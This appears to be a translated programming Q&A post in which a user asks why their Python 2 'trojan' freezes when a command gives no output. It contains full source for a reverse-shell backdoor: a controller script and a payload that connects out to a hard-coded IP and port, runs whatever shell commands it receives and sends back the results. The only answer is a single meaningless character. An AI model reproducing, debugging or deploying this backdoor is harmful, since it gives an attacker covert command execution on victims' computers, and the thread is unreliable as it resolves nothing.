当stdoutput不是字符串时,木马卡住了

时间:2015-10-25 19:19:27

标签: python python-2.7 sockets subprocess

当我启动服务器(trojan.py文件)然后启动客户端(payload.py文件)时 一切正常。我写的cmd中的所有命令都很好,没有问题。但是......当我输入像“mkdir”或“start”这样的命令以及所有不产生字符串输出的命令时,程序会停止工作并且没有任何工作。像“ipconfig”或“help”或“dir”这样的命令可以产生一个字符串输出,效果很好,不会破坏程序...... 谢谢你的帮助...

trojan.py文件(服务器)

#import required modules
import socket

#creating a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#setting up host, port
host = raw_input("Enter your Host IP:\n")
port = raw_input("Enter your desired Port:\n")

#bind address to Host
try:
    s.bind((host, int(port)))
except socket.error:
    print "[!]Error: Permission Denied, please run as Administrator."
    exit()
#start listening for incoming connection
s.listen(1)
while True:
    print "[*]Deploying Server on:" + str(host) + ", port:" + str(port)
    print "[*]Waiting for incoming connection..."
    #accept connection
    c, addr = s.accept()
    print "[+]Connection established with:" + str(addr)
    #control cmd
    while True:
        try:
            cmd = raw_input("cmd:")
            if cmd == "exit":
                print "[!]Exiting"
                c.send("exit")
                s.close()
                exit()
            c.send(cmd)

因为这里的东西失败了......

            stdoutput = c.recv(8000)
            print stdoutput
        except KeyboardInterrupt:
            print "[!]Exiting"
            c.send("exit")
            s.close()
            exit()

payload.py文件(客户端)

import socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = "10.0.0.3"
port = 4444

try:
    s.connect((host, port))
except socket.error:
    s.close()
    s.connect((host, port))
while 1:
    cmd = s.recv(1024)
    if cmd == "exit":
        s.close()
        exit()

这行代码正在向服务器发送“stdoutput”(trojan.py文件)

    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()
    s.send(stdoutput)

1 个答案:

答案 0 :(得分:0)

感谢您尝试提供帮助,但我自己已经把它弄出来了:

a

这解决了问题)))